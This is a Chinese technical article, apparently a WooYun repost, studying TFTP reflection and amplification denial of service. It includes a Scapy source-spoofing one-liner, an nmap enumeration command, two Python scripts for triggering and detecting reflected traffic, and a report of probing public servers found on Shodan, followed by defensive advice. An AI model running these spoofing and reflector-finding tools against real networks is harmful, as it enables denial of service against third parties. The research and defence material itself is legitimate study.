<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/14020

            0x00 前言


            經由@殺戮提示,讓我看看softpedia上的這篇報道,咱就來研究一下文中的使用TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)進行反射型DDOS攻擊。在報道的最后提到了Evaluation of TFTP DDoS amplification attack這篇論文,論文還是比較學術派和嚴謹的,其中使用GNS3和虛擬機搭建模擬環境,盡量嚴格控制相關變量與不變量,對TFTPD32,SolarWinds,OpenTFTP三種TFTP服務器進行研究。論文中還利用TFTP協議自身的缺陷來進行DOS攻擊,同時對DOS攻擊的反射因子,請求響應延遲,總吞吐量,CPU消耗率等方面進行了詳細的測驗與評估。

            當然,自己實際地測試觀察TFTP反射放大攻擊的影響還是很有必要的。所以本文就在那篇論文的基礎上,利用Kali2等虛擬機,對反射流量和反射因子進行檢測計算,適當探究相關的限制與利用。

            0x01 TFTP服務搭建


            DDOS是分布式拒絕服務攻擊,研究的基礎也就在于拒絕服務;論文中三種TFTP服務器的測試也是為了相互對比參照,由于不同服務器的特性不同而響應的行為也不同,其中的任何一種服務也具有通用的特性。所以為了方便驗證研究,我們就簡單地搭建在Kali2上搭建tftp服務(對于協議特點的學習,我比較喜歡直觀的辦法,搭建好必要服務后抓包看其數據包的結構),對其反射放大流量的利用進行測試,而暫且拋開分布式和其他類型服務器的對比話題。相信這些都是見微知著的,也歡迎你進行其他方面的深入探究交流。

            我們在更新源了的Kali2上進行tftp的安裝,詳細過程可見這里那里。在Kali上自帶的有tftp客戶端,我們可以不用再進行安裝。其中主要使用了使用xinetd超級守護進程更加方便安全地管理使用tftp服務。最后在服務都安裝好后,測試圖如下:

            在這里值得一提的是,客戶端上鍵入?發現有put命令可以直接上傳文件,但是會引發Error code 2: Access violation錯誤。究其原因查看man手冊可知道,因為咱們之前在登錄的時候沒有經過認證就可以讀取文件,所以處于安全的考慮,只有文件存在而且對于所有的用戶都可寫才能put相應文件,這一點也會成為之后攻擊的一個限制。

            0x02 TFTP協議簡介


            對于TFTP協議百度WiKi也有比較詳細的介紹,這里不多贅述。我覺得其中最需要理解的有以下三點:

            1. TFTP是基于UDP的,也就是沒有狀態性,其端口號為69
            2. 無認證過程(對源地址和目的地址均無)
            3. TFTP幾種不同類型的數據包在傳遞信息時的交互過程

            下面給出TFTP數據包的幾種類型

            TFTP Formats    
            
               Type   Op #     Format without header    
            
                      2 bytes    string   1 byte     string   1 byte
                      -----------------------------------------------
               RRQ/  | 01/02 |  Filename  |   0  |    Mode    |   0  |
               WRQ    -----------------------------------------------
                      2 bytes    2 bytes       n bytes
                      ---------------------------------
               DATA  | 03    |   Block #  |    Data    |
                      ---------------------------------
                      2 bytes    2 bytes
                      -------------------
               ACK   | 04    |   Block #  |
                      --------------------
                      2 bytes  2 bytes        string    1 byte
                      ----------------------------------------
               ERROR | 05    |  ErrorCode |   ErrMsg   |   0  |
                      ----------------------------------------
            

            就拿A對S上的RRQ (read request)文件過程來演示一下,如下圖:

            具體過程文字描述如下:

            1. A向S的69端口發送RRQ數據包請求讀取文件,其中包括文件名和傳輸使用的模式
            2. S再新開一個端口發送DATA數據包開始傳輸文件,其中Data段中包含著文件內容,如果大于512字節(默認值),就會進行分塊傳輸(對應標記Block的值),直到最后一次發送的數據包Data段小于512字節
            3. A在接收到DATA數據包后就向S發送ACK數據包進行確認,其中的Block就為接收到的DATA數據包中的Blocak,然后S才會繼續發下一個Block的DATA數據包
            4. 如果S沒有接收到A的ACK數據包,S就會重傳剛才發過的DATA數據包

            實際測試的抓包圖如下:

            0x03 反射放大攻擊


            反射是過程,放大是結果。對于拒絕服務攻擊來說,常用的方式有這么幾種:1.濫用合理的服務請求;2.制造高流量無用數據;3.利用傳輸協議缺陷;4.利用服務程序的漏洞。TFTP反射放大攻擊就是利用了協議上的缺陷或者說是特性,其中關鍵點有二:

            1. 沒有認證過程,這樣就可以隨意登錄讀取文件,同時偽造源(攻擊目標)IP地址,為反射做好準備
            2. 之前提到的重傳機制,當服務端在沒有收到我們的攻擊目標的ACK包時,就會重傳一定的次數給攻擊目標,達到放大的目的

            下面我就在本機上借由Scapy偽造源地址數據包,向服務端(Kali2)發送RRQ數據包請求get服務器上的文件,進而將響應DATA包發射給目標機(XP),誘發重傳機制造成放大攻擊。利用Scapy如下:

            #!python
            >>> a = IP(dst='192.168.1.104',src='192.168.1.102')/UDP(sport=445,dport=69)/TFTP()/TFTP_RRQ(filename='larry')
            >>> a
            <IP  frag=0 proto=udp src=192.168.1.102 dst=192.168.1.104 |<UDP  sport=microsoft_ds dport=tftp |<TFTP  op=RRQ |<TFTP_RRQ  filename='larry' |>>>>
            

            也還是有兩點需要說明,我們這里偽造的源端口用的是XP SP3默認開啟的UDP端口之一(123,137,138,445,500,1900),當然你也可以用其他你在攻擊目標上掃描出來的端口;另一點就是為了達到放大數據包大小的最佳效果,我們這里RRQ的已知文件的大小必須大于512字節為好。三個主機在同一個網段下的測試結果圖如下:

            在搭建傳統的LAN環境的時候,會要求TFTP服務器對所有客戶端是可連接的,通常會將其拿來當做內部網絡網關。如果這些TFTP服務器同時暴露在外的話,我們就可以利用其在網絡當中的角色加上對源地址無驗證的缺陷,對內網機器進行DOS攻擊。當然雞肋的會是我們不知道在內網當中有哪些機器,就算攻擊成功了,由于沒有回執響應,我們就不知道實際情況是如何而“盲打”一通了。在vbox當中創建一個內網環境,同時給服務端設置兩個網卡,測試結果如下:

            從以上的測試結果可以看出由于tftpd服務的特性,在服務端未接收到ACK數據包時,會默認進行5次重傳,并且重傳時間間隔(可設置)為5秒。對于不同的反射放大攻擊,例如Smurf,DNS,NTP,TCP-based,SNMP等反射放大攻擊,研究時通常會計算其中的反射因子/放大倍數作為相互比較的標準。在基于tftpd的TFTP反射放大攻擊中,這里響應數據包大小總和比上請求數據包大小為:558*5/60=46.5。為了簡單地對比一下,我還是在XP上下載了tftpd32,然后再去get自帶的文件tftpd32.chm(其實在默認狀態下tftpd32是允許put文件的,但也可在Setting中設置為Read Only模式)。tftpd32的特性就是會重傳6次,時間間隔依次為1,2,3,3,3秒,最后還會發送一個ERROR數據包。這里拋開ERROR數據包計算反射因子的話就是558*6/62=54

            在論文中的tftpd32版本可能有所不同,反射因子為59.78,這個放大因子和其他反射放大攻擊相比較還是很可觀的:

            0x04 限制及解決方案


            在以上的測試過程中,對于TFTP反射放大攻擊利用的限制點主要有三點:

            1. 獲取TFTP服務器上存在的文件名

            雖然服務器端無認證過程可以隨意登錄,但是無法列目錄,而造成反射的基礎就是需要服務端能夠發送出DATA數據包。這就需要我們一個個get測試看看TFTP服務器上存在哪些常見的文件了,我們可以對思科(廣泛使用TFTP服務)設備文件和其他你認為有可能存在的文件進行測試。還好nmap在這里給我們提供了一個tftp-enum.nse腳本,可以如下使用:

            #!shell
            $ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args="tftp-enum.filelist=customlist.txt" <host>
            

            如果未加--script-args的話,腳本會默認調用tftplist.txt文件去枚舉可能存在的文件。當然,tftp-enum.filelist可以指定自定義的列表進行枚舉掃描。測試結果示例如下:

            論文當中說是有599600臺(2012年掃描結果)對外開放的TFTP服務器可能會被用來進行發射放大攻擊,但在shodan上搜索tftp的結果也只有10w左右的樣子,可能有待進一步的掃描發現。以下是我在shodan中搜索出的999個IP進行測試,其中有47個服務器可以get到默認的文件:

            2. TFTP服務器上已知文件的大小

            反射過來的DATA數據包的大小取決于讀取文件的內容大小,這樣就決定了我們最終反射放大的程度(相對于已知文件的文件名長度——影響請求包大小)。如果DATA數據包過小造成的影響也就很有限的了。

            3. 確定TFTP服務器可利用

            除了以上兩點,如果存在其他的過濾機制,我們最終就需要測試一下該TFTP服務是否可利用,在攻擊端偽造簡單的數據包觸發其反射到指定的主機上,代碼如下:

            #!python
            #!/usr/bin/env python
            #coding=utf-8    
            
            import optparse
            import sys
            import logging    
            
            from scapy.all import *    
            
            class Trigger(object):
                def __init__(self, target, port, filename, server):
                    logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
                    self.target = target
                    self.port = port
                    self.filename = filename
                    self.server = server    
            
                def run(self):
                    t = IP(src=self.target, dst=self.server)/UDP(sport=self.port, dport=69)/TFTP()/TFTP_RRQ(filename=self.filename)
                    send(t)
                    print '[+] The trigger has benn sent !'    
            
            if __name__ == '__main__':
                parser = optparse.OptionParser('uasge: %prog [options]')
                parser.add_option('-t', '--target', default=None,help='The ip of target')
                parser.add_option('-f', '--filename', default='larry', help='The filename for RRQ')
                parser.add_option('-p', '--port', type=int, default=2333, help='The src port of target')    
            
                (options, args) = parser.parse_args()
                if len(args) < 1 or options.target == None:
                    parser.print_help()
                    sys.exit(0)    
            
                trigger = Trigger(target=options.target, port=options.port, filename=options.filename, server=args[0])    
            
                trigger.run()
            

            在我們之前指定的主機上檢測一下是否有如期的DATA數據包到來即可,代碼如下:

            #!python
            #!/usr/bin/env python
            #coding=utf-8    
            
            import optparse
            import sys
            import logging    
            
            from scapy.all import *    
            
            class Sniff(object):
                def __init__(self, port):
                    logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
                    self.port = port    
            
                def run(self):
                    try:
                        sniff(prn=self.udp_monitor_callback, filter='udp', store=0)
                    except KeyboardInterrupt as e:
                        print '[+] Bye !'
                        sys.exit(0)    
            
                def udp_monitor_callback(self, pkt):
                    if pkt.getlayer(Raw):
                        raw_load = pkt.getlayer(Raw).load
                        if pkt[UDP].dport == self.port and raw_load[:4] == '\x00\x03\x00\x01':
                            print '[+] The server %s is available' % (pkt[IP].src)
                            sys.exit(0)    
            
            if __name__ == '__main__':
                parser = optparse.OptionParser('usage: %prog [options]')
                parser.add_option('-p', '--port', type=int, default=2333, help='The port from server')    
            
                (options, args) = parser.parse_args()
                if len(args) > 0:
                    parser.print_help()
                    sys.exit(0)    
            
                s = Sniff(port=options.port)    
            
                s.run()
            

            這樣一放一收就可以知道該TFTP服務器是否可以利用了。

            0x05 防御及相關對策


            1. 雖然有些TFTP服務器因為配置錯誤而暴露在外,但還是應該利用防火墻將其從互聯網上隔離
            2. 對流經TFTP服務的流量設置相關入侵檢測機制
            3. 將重傳(數據包)率設置為1,但還是需要和服務不可達的情況做一下平衡
            4. 簡化自定義錯誤消息(有些tftp服務具有在重傳無響應后還會發送ERROR數據包,間接將流量放大);記錄響應的日志;限制請求數據包的數量

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线